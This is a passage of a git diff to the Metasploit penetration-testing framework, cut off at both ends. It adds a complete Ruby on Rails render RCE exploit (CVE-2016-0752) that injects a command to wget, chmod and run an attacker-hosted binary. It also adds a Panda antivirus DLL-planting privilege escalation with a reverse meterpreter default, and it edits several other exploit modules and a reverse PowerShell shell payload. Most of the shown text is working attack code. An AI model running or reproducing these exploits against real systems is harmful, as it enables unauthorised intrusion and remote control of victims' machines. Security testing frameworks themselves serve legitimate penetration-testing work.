def http_send_command(cmd, opts = {})
request_parameters = {
'method' => 'POST',
- 'uri' => normalize_uri(@uri.path, "script"),
+ 'uri' => normalize_uri(@uri.path, 'script'),
'vars_post' =>
{
'script' => java_craft_runtime_exec(cmd),
@@ -86,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote
}
}
request_parameters['cookie'] = @cookie if @cookie != nil
- request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil
+ request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil?
res = send_request_cgi(request_parameters)
if not (res and res.code == 200)
fail_with(Failure::Unknown, 'Failed to execute the command.')
@@ -159,8 +159,8 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
'vars_post' =>
{
- 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
- 'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
+ 'j_username' => datastore['USERNAME'],
+ 'j_password' => datastore['PASSWORD'],
'Submit' => 'log in'
}
})
@@ -177,9 +177,12 @@ class MetasploitModule < Msf::Exploit::Remote
print_status('No authentication required, skipping login...')
end
- if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
- print_status("Using CSRF token: '#{$1}'")
- @crumb = $1
+ if res.body =~ /"\.crumb", "([a-z0-9]*)"/
+ print_status("Using CSRF token: '#{$1}' (.crumb style)")
+ @crumb = {:name => '.crumb', :value => $1}
+ elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/
+ print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
+ @crumb = {:name => 'Jenkins-Crumb', :value => $1}
end
case target['Platform']
diff --git a/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb
new file mode 100644
index 0000000000..b9c1bedb10
--- /dev/null
+++ b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb
@@ -0,0 +1,200 @@
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HttpServer
+ include Msf::Exploit::EXE
+ include Msf::Exploit::FileDropper
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution',
+ 'Description' => %q{
+ This module exploits a remote code execution vulnerability in the explicit render
+ method when leveraging user parameters.
+ This module has been tested across multiple versions of Ruby on Rails.
+ The technique used by this module requires the specified
+ endpoint to be using dynamic render paths, such as the following example:
+
+ def show
+ render params[:id]
+ end
+
+ Also, the vulnerable target will need a POST endpoint for the TempFile upload, this
+ can literally be any endpoint. This module doesnt use the log inclusion method of
+ exploitation due to it not being universal enough. Instead, a new code injection
+ technique was found and used whereby an attacker can upload temporary image files
+ against any POST endpoint and use them for the inclusion attack. Finally, you only
+ get one shot at this if you are testing with the builtin rails server, use caution.
+ },
+ 'Author' =>
+ [
+ 'mr_me ', # necromanced old bug & discovered new vector rce vector
+ 'John Poulin (forced-request)' # original render bug finder
+ ],
+ 'References' =>
+ [
+ [ 'CVE', '2016-0752'],
+ [ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'], # rails patch
+ [ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'], # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016
+ [ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'], # John's original exploit
+ ],
+ 'License' => MSF_LICENSE,
+ 'Platform' => ['linux', 'bsd'],
+ 'Arch' => ARCH_X86,
+ 'Payload' =>
+ {
+ 'DisableNops' => true,
+ },
+ 'Privileged' => false,
+ 'Targets' =>
+ [
+ [ 'Ruby on Rails 4.0.8 July 2, 2014', {} ] # Other versions are also affected
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Oct 16 2016'))
+ register_options(
+ [
+ Opt::RPORT(3000),
+ OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/users"]),
+ OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
+ ], self.class)
+ end
+
+ def check
+
+ # this is the check for the dev environment
+ res = send_request_cgi({
+ 'uri' => normalize_uri(datastore['URIPATH'], "%2f"),
+ 'method' => 'GET',
+ }, 60)
+
+ # if the page controller is dynamically rendering, its for sure vuln
+ if res and res.body =~ /render params/
+ return CheckCode::Vulnerable
+ end
+
+ # this is the check for the prod environment
+ res = send_request_cgi({
+ 'uri' => normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"),
+ 'method' => 'GET',
+ }, 60)
+
+ # if we can read files, its likley we can execute code
+ if res and res.body =~ /ruby/
+ return CheckCode::Appears
+ end
+ return CheckCode::Safe
+ end
+
+ def on_request_uri(cli, request)
+ if (not @pl)
+ print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
+ return
+ end
+ print_status("#{rhost}:#{rport} - Sending the payload to the server...")
+ @elf_sent = true
+ send_response(cli, @pl)
+ end
+
+ def send_payload
+ @bd = rand_text_alpha(8+rand(8))
+ fn = rand_text_alpha(8+rand(8))
+ un = rand_text_alpha(8+rand(8))
+ pn = rand_text_alpha(8+rand(8))
+ register_file_for_cleanup("/tmp/#{@bd}")
+ cmd = "wget #{@service_url} -O /tmp/#{@bd};"
+ cmd << "chmod 755 /tmp/#{@bd};"
+ cmd << "/tmp/#{@bd}"
+ pay = "<%=`#{cmd}`%>"
+ print_status("uploading image...")
+ data = Rex::MIME::Message.new
+ data.add_part(pay, nil, nil, 'form-data; name="#{un}"; filename="#{fn}.gif"')
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'cookie' => @cookie,
+ 'uri' => normalize_uri(datastore['URIPATH'], pn),
+ 'ctype' => "multipart/form-data; boundary=#{data.bound}",
+ 'data' => data.to_s
+ })
+ if res and res.code == 422 and res.body =~ /Tempfile:\/(.*)>/
+ @path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>/
+ return true
+ else
+
+ # this is where we pull the log file
+ if leak_log
+ return true
+ end
+ end
+ return false
+ end
+
+ def leak_log
+
+ # path to the log /proc/self/fd/7
+ # this bypasses the extension check
+ res = send_request_cgi({
+ 'uri' => normalize_uri(datastore['URIPATH'], "proc%2fself%2ffd%2f7"),
+ 'method' => 'GET',
+ }, 60)
+
+ if res and res.code == 200 and res.body =~ /Tempfile:\/(.*)>, @original_filename=/
+ @path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>, @original_filename=/
+ return true
+ end
+ return false
+ end
+
+ def start_http_server
+ @pl = generate_payload_exe
+ @elf_sent = false
+ downfile = rand_text_alpha(8+rand(8))
+ resource_uri = '/' + downfile
+ if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
+ srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
+ else
+ srv_host = datastore['SRVHOST']
+ end
+
+ # do not use SSL for the attacking web server
+ if datastore['SSL']
+ ssl_restore = true
+ datastore['SSL'] = false
+ end
+
+ @service_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
+ service_url_payload = srv_host + resource_uri
+ print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
+ start_service({'Uri' => {
+ 'Proc' => Proc.new { |cli, req|
+ on_request_uri(cli, req)
+ },
+ 'Path' => resource_uri
+ }})
+ datastore['SSL'] = true if ssl_restore
+ connect
+ end
+
+ def render_tmpfile
+ @path.gsub!(/\//, '%2f')
+ res = send_request_cgi({
+ 'uri' => normalize_uri(datastore['URIPATH'], @path),
+ 'method' => 'GET',
+ }, 1)
+ end
+
+ def exploit
+ print_status("Sending initial request to detect exploitability")
+ start_http_server
+ if send_payload
+ print_good("injected payload")
+ render_tmpfile
+
+ # we need to delay, for the stager
+ select(nil, nil, nil, 5)
+ end
+ end
+end
diff --git a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb
index 50cf328ac9..8863605070 100644
--- a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb
+++ b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb
@@ -201,7 +201,7 @@ SH
end
def generate_decoder_vbs(opts = {})
- decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")
+ decoder_path = File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64")
f = File.new(decoder_path, "rb")
decoder = f.read(f.stat.size)
diff --git a/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb b/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb
index 123d2b2b02..2a3abeb8af 100644
--- a/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb
+++ b/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb
@@ -180,10 +180,10 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::NoAccess, "Username '#{datastore['USERNAME']}' is incorrect.")
elsif res['loginfailed']
fail_with(Failure::NoAccess, "Password '#{datastore['PASSWORD']}' is incorrect.")
+ elsif res['sessionid']
+ report_cred(datastore['USERNAME'], datastore['PASSWORD'])
end
- report_cred(datastore['USERNAME'], datastore['PASSWORD'])
-
res
end
diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb
index 7414bf28ff..fefa955d24 100644
--- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb
+++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb
@@ -312,7 +312,7 @@ class MetasploitModule < Msf::Exploit::Remote
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
- private_data: datastore['HttpPassword'].downcase,
+ private_data: datastore['HttpPassword'],
username: datastore['HttpUsername']
}
diff --git a/modules/exploits/unix/fileformat/imagemagick_delegate.rb b/modules/exploits/unix/fileformat/imagemagick_delegate.rb
index 45b30976c2..d310f4cbc8 100644
--- a/modules/exploits/unix/fileformat/imagemagick_delegate.rb
+++ b/modules/exploits/unix/fileformat/imagemagick_delegate.rb
@@ -21,11 +21,12 @@ class MetasploitModule < Msf::Exploit
a .png (for example) which is actually a crafted SVG (for example) that
triggers the command injection.
- Tested on Linux, BSD, and OS X. You'll want to choose your payload
- carefully due to portability concerns. Use cmd/unix/generic if need be.
+ The PostScript (PS) target leverages a Ghostscript -dSAFER bypass
+ (discovered by taviso) to achieve RCE in the Ghostscript delegate.
+ Ghostscript versions 9.18 and later are affected.
- If ImageMagick supports popen(), a |-prefixed command will be used for
- the exploit. No delegates are involved in this exploitation.
+ If USE_POPEN is set to true, a |-prefixed command will be used for the
+ exploit. No delegates are involved in this exploitation.
},
'Author' => [
'stewie', # Vulnerability discovery
@@ -35,8 +36,10 @@ class MetasploitModule < Msf::Exploit
],
'References' => [
%w{CVE 2016-3714},
+ %w{CVE 2016-7976},
%w{URL https://imagetragick.com/},
%w{URL http://seclists.org/oss-sec/2016/q2/205},
+ %w{URL http://seclists.org/oss-sec/2016/q3/682},
%w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
%w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
@@ -54,9 +57,9 @@ class MetasploitModule < Msf::Exploit
}
},
'Targets' => [
- ['SVG file', template: 'msf.svg'], # convert msf.png msf.svg
- ['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
- ['MIFF file', template: 'msf.miff'] # convert -label "" msf.svg msf.miff
+ ['SVG file', template: 'msf.svg'], # convert msf.png msf.svg
+ ['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
+ ['PS file', template: 'msf.ps'] # PoC from taviso
],
'DefaultTarget' => 0,
'DefaultOptions' => {
@@ -69,7 +72,7 @@ class MetasploitModule < Msf::Exploit
register_options([
OptString.new('FILENAME', [true, 'Output file', 'msf.png']),
- OptBool.new('HAVE_POPEN', [false, 'popen() support', true])
+ OptBool.new('USE_POPEN', [false, 'Use popen() vector', true])
])
end
@@ -80,19 +83,24 @@ class MetasploitModule < Msf::Exploit
p = payload.encoded
end
- if datastore['HAVE_POPEN']
- file_create(template.sub('touch vulnerable', p))
- else
- file_create(template.sub('echo vulnerable', p))
- end
+ file_create(template.sub('echo vulnerable > /dev/tty', p))
end
def template
- File.read(File.join(
- Msf::Config.data_directory, 'exploits', 'imagemagick',
- datastore['HAVE_POPEN'] ? 'popen' : 'delegate',
- target[:template]
- ))
+ if datastore['USE_POPEN']
+ t = 'popen'
+ else
+ t = 'delegate'
+ end
+
+ begin
+ File.read(File.join(
+ Msf::Config.data_directory, 'exploits', 'imagemagick', t,
+ target[:template]
+ ))
+ rescue Errno::ENOENT
+ fail_with(Failure::BadConfig, "Target has no #{t} support")
+ end
end
end
diff --git a/modules/exploits/unix/webapp/graphite_pickle_exec.rb b/modules/exploits/unix/webapp/graphite_pickle_exec.rb
index 9cd39b23bd..527d3b92b8 100644
--- a/modules/exploits/unix/webapp/graphite_pickle_exec.rb
+++ b/modules/exploits/unix/webapp/graphite_pickle_exec.rb
@@ -20,7 +20,8 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Author' =>
[
- 'Charlie Eriksen' # Initial discovery and exploit
+ 'Charlie Eriksen', # Initial discovery and exploit
+ 'funkypickle' # Version check to prove vulnerable
],
'License' => MSF_LICENSE,
'References' =>
@@ -53,13 +54,19 @@ class MetasploitModule < Msf::Exploit::Remote
end
def check
- response = send_request_cgi({
+ res1 = send_request_cgi({
+ # trailing slash required
+ 'uri' => normalize_uri(target_uri.path, 'version/'),
+ 'method' => 'GET'
+ })
+
+ res2 = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'render', 'local'),
'method' => 'POST'
})
- if response and response.code == 500
- return Exploit::CheckCode::Detected
+ if (res1 and %w(0.9.5 0.9.10).include?(res1.body.strip)) and (res2 and res2.code == 500)
+ return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb
index 9b3c96e2e8..6fb9a72f48 100644
--- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb
+++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb
@@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultTarget' => 0,
'DefaultOptions' =>
{
- 'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
+ 'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_noquot")
},
'DisclosureDate' => 'Jul 29 2013'))
diff --git a/modules/exploits/windows/http/manageengine_connectionid_write.rb b/modules/exploits/windows/http/manageengine_connectionid_write.rb
index 2cd98114c1..8bbe7ff0c8 100644
--- a/modules/exploits/windows/http/manageengine_connectionid_write.rb
+++ b/modules/exploits/windows/http/manageengine_connectionid_write.rb
@@ -42,10 +42,6 @@ class MetasploitModule < Msf::Exploit::Remote
[
[ 'ManageEngine Desktop Central 9 on Windows', {} ]
],
- 'Payload' =>
- {
- 'BadChars' => "\x00"
- },
'Privileged' => false,
'DisclosureDate' => "Dec 14 2015",
'DefaultTarget' => 0))
diff --git a/modules/exploits/windows/local/capcom_sys_exec.rb b/modules/exploits/windows/local/capcom_sys_exec.rb
index 399a42c983..16f2bf6963 100644
--- a/modules/exploits/windows/local/capcom_sys_exec.rb
+++ b/modules/exploits/windows/local/capcom_sys_exec.rb
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Local
This module abuses the Capcom.sys kernel driver's function that allows for an
arbitrary function to be executed in the kernel from user land. This function
purposely disables SMEP prior to invoking a function given by the caller.
- This has been tested on Windows 7 x64.
+ This has been tested on Windows 7, 8.1 and Windows 10 (x64).
},
'License' => MSF_LICENSE,
'Author' => [
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Local
'EXITFUNC' => 'thread',
},
'Targets' => [
- [ 'Windows x64 (<= 8)', { 'Arch' => ARCH_X86_64 } ]
+ [ 'Windows x64 (<= 10)', { 'Arch' => ARCH_X86_64 } ]
],
'Payload' => {
'Space' => 4096,
@@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
- if sysinfo['OS'] !~ /windows (7|8)/i
+ if sysinfo['OS'] !~ /windows (7|8|10)/i
return Exploit::CheckCode::Unknown
end
diff --git a/modules/exploits/windows/local/panda_psevents.rb b/modules/exploits/windows/local/panda_psevents.rb
new file mode 100644
index 0000000000..dc7f21d50b
--- /dev/null
+++ b/modules/exploits/windows/local/panda_psevents.rb
@@ -0,0 +1,108 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/exploit/exe'
+
+class MetasploitModule < Msf::Exploit::Local
+ Rank = ExcellentRanking
+
+ include Exploit::EXE
+ include Exploit::FileDropper
+ include Post::File
+
+ def initialize(info={})
+ super( update_info( info,
+ 'Name' => 'Panda Security PSEvents Privilege Escalation',
+ 'Description' => %q{
+ PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.
+ When run, it checks a user writable folder for certain DLL files, and if any are found
+ they are automatically run.
+ Vulnerable Products:
+ Panda Global Protection 2016 (<=16.1.2)
+ Panda Antivirus Pro 2016 (<=16.1.2)
+ Panda Small Busines Protetion (<=16.1.2)
+ Panda Internet Security 2016 (<=16.1.2)
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [
+ "h00die ", # Module,
+ 'Security-Assessment.com' # discovery
+ ],
+ 'Platform' => [ 'win' ],
+ 'SessionTypes' => [ 'meterpreter' ],
+ 'Targets' => [
+ [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
+ [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DefaultOptions' => {
+ 'payload' => 'windows/meterpreter/reverse_tcp',
+ 'exitfunc' => 'seh'
+ },
+ 'References' => [
+ [
+ 'EDB', '40020',
+ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf',
+ 'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053'
+ ]
+ ],
+ 'DisclosureDate'=> 'Jun 27 2016'
+ ))
+ register_options(
+ [
+ OptEnum.new('DLL', [ true, 'dll to create', 'cryptnet.dll',
+ ['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']]),
+ OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]),
+ ], self.class)
+ end
+
+ def get_path()
+ case sysinfo['OS']
+ when /Windows (7|8|10|2012|2008)/
+ return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
+ when /Windows (NT|XP)/
+ return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
+ end
+ end
+
+ def check
+ if directory?(get_path())
+ print_good('Vuln path exists')
+ CheckCode::Appears
+ else
+ vprint_error("#{get_path()} doesn't exist on target")
+ CheckCode::Safe
+ end
+ end
+
+ def exploit
+ vprint_status("OS Detected as: #{sysinfo['OS']}")
+
+ payload_filepath = get_path()
+ payload_filepath = "#{payload_filepath}\\#{datastore['DLL']}"
+ upload_payload_dll(payload_filepath)
+
+ # start the hour wait
+ stime = Time.now.to_f
+ print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...'
+ print_status "Start Time: #{Time.now.to_s}"
+ until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
+ Rex.sleep(1)
+ end
+ end
+
+ def upload_payload_dll(payload_filepath)
+ payload = generate_payload_dll()
+ print_status('Uploading the Payload DLL to the filesystem...')
+ begin
+ vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
+ write_file(payload_filepath, payload)
+ register_file_for_cleanup(payload_filepath)
+ rescue Rex::Post::Meterpreter::RequestError => e
+ fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
+ end
+ end
+end
diff --git a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb
index c00f1e774e..93fff44d38 100644
--- a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb
+++ b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb
@@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
+ 'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_noquot")
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/winrm/winrm_script_exec.rb b/modules/exploits/windows/winrm/winrm_script_exec.rb
index ca878da289..34e6991b3b 100644
--- a/modules/exploits/windows/winrm/winrm_script_exec.rb
+++ b/modules/exploits/windows/winrm/winrm_script_exec.rb
@@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote
'WfsDelay' => 30,
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
- 'CMDSTAGER::DECODER' => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")
+ 'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_sleep")
},
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
diff --git a/modules/payloads/singles/android/meterpreter_reverse_http.rb b/modules/payloads/singles/android/meterpreter_reverse_http.rb
index 423b4fcc1f..460461e9d4 100644
--- a/modules/payloads/singles/android/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/android/meterpreter_reverse_http.rb
@@ -48,23 +48,10 @@ module MetasploitModule
end
def generate_jar(opts={})
+ uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
+ opts[:uri] = generate_uri_uuid_mode(:connect, uri_req_len)
opts[:stageless] = true
super(opts)
end
- def payload_uri(req=nil)
- # Default URL length is 30-256 bytes
- uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
- # Generate the short default URL if we don't know available space
- if self.available_space.nil?
- uri_req_len = 5
- end
-
- url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}#{luri}"
- # TODO: perhaps wire in an existing UUID from opts?
- url << generate_uri_uuid_mode(:init_connect, uri_req_len)
-
- url
- end
-
end
diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
index eb6bd4c53b..b871e28be5 100644
--- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb
+++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
@@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule
- CachedSize = 1204
+ CachedSize = 1228
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
@@ -81,7 +81,8 @@ module MetasploitModule
"while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
"$r=$s.Read($nb,$pos,$nb.Length - $pos);"\
"$pos+=$r;"\
- "if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\
+ "if (-not $pos -or $pos -eq 0) {RSC};"\
+ "if ($nb[0..$($pos-1)] -contains 10) {break}};"\
"if ($pos -gt 0){"\
"$str=$e.GetString($nb,0,$pos);"\
"$is.write($str);start-sleep 1;"\
diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb
index adca80e210..4aba839b4d 100644
--- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb
+++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
- CachedSize = 983599
+ CachedSize = 957999
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb
index f229da8f2b..9b1ac80418 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
- CachedSize = 984643
+ CachedSize = 959043
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb
index 5968e1e9c2..91b073a44b 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
- CachedSize = 984643
+ CachedSize = 959043
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb
index 8ca7d5496e..8cdbd91f25 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
- CachedSize = 983599
+ CachedSize = 957999
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb
index 8a846554b2..e2c6f3a72b 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
- CachedSize = 983599
+ CachedSize = 957999
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb
index e0e0abc997..493bfbf557 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
- CachedSize = 1217071
+ CachedSize = 1189423
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb
index 377da1ed13..ee87c288fe 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
- CachedSize = 1218115
+ CachedSize = 1190467
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb
index dc15fb9c4a..43d0262094 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
- CachedSize = 1218115
+ CachedSize = 1190467
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb
index e0b4f645a2..1ffc004cee 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
- CachedSize = 1217071
+ CachedSize = 1189423
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb
index ba15d8481e..01b46f82fc 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
- CachedSize = 1217071
+ CachedSize = 1189423
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb
index d8b38adf38..b1e91cd704 100644
--- a/modules/payloads/stagers/android/reverse_http.rb
+++ b/modules/payloads/stagers/android/reverse_http.rb
@@ -35,19 +35,10 @@ module MetasploitModule
transport_config_reverse_http(opts)
end
- def payload_uri(req=nil)
- # Default URL length is 30-256 bytes
+ def generate_config_bytes(opts={})
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
- # Generate the short default URL if we don't know available space
- if self.available_space.nil?
- uri_req_len = 5
- end
-
